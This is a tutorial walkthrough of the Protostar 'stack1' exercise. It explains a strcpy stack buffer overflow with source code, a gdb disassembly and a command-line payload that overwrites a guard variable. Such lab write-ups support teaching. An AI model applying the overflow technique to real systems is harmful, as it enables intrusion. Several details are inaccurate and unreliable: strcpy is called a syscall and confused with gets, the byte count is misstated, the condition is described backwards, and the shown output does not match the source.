Skip to main content

Stack 1

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory. This level is at /opt/protostar/bin/stack1 Hints

  • If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
  • Protostar is little endian

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}

This program requires us to pass arguments, with argv[0] being the program name. If we don't provide an extra argument, we are asked to specify an argument. The strcpy system call is used to read user input into the buffer.

Let's look at it's manual page.

char strcpy(char restrict dst, const char restrict src);

We can see that the characters are read from argv[1] and copied to the buffer.

It is better than the gets syscall but it still has it's own problems.

CAVEATS 

The strings src and dst may not overlap.

If the destination buffer is not large enough, the behavior is
undefined.

So the strcpy syscall stores characters past the end of the buffer. This essentially breaks the limit set on the buffer which means we can input more than 64 bytes.

This is the vulnerability that we have to exploit.

But before that let's go through the rest of the code.

There is an if statement which checks if the value of modified in not equal to 0x61626364. If it is not equal to 0, it prints out a string else it prompts us to try again. We have to overwrite the modified variable using a buffer overflow. For that we have have to know where the modified variable is located.

Let's disassemble the program in gdb.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>: mov eax,0x80485f3
0x080484c9 <main+101>: mov DWORD PTR [esp+0x4],edx
0x080484cd <main+105>: mov DWORD PTR [esp],eax
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret

The instruction at main+67 sets up the check.

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364

The value in eax is compared with 0x61626364 which in ASCII is abcd. This value is moved from esp+0x5c.

Next, we want to locate the buffer.

--snip--;
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
--snip--;

In 32-bit assembly the arguments for a call are stored onto the stack.

In our program the gets syscall takes the location of the buffer as argument. This buffer is located at esp+0x1c.

The distance between the location of the modified variable and the buffer is the following:

(gdb) p/d 0x5c - 0x1c
$1 = 64

The variable is located right where the buffer ends.

Therefore we need 65 bytes in total, 64 bytes to fill the buffer and 1 byte to overwrite the modified variable.

Exploit

$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261

The the last four characters are being stored in little endian. So abcd is being flipped to dcba.

In order to pass the check, we have to provide the the flipped string i.e. dcba.

$ ./stack1 $(python -c 'print "A"*64 + "dcba"')
you have changed the 'modified' variable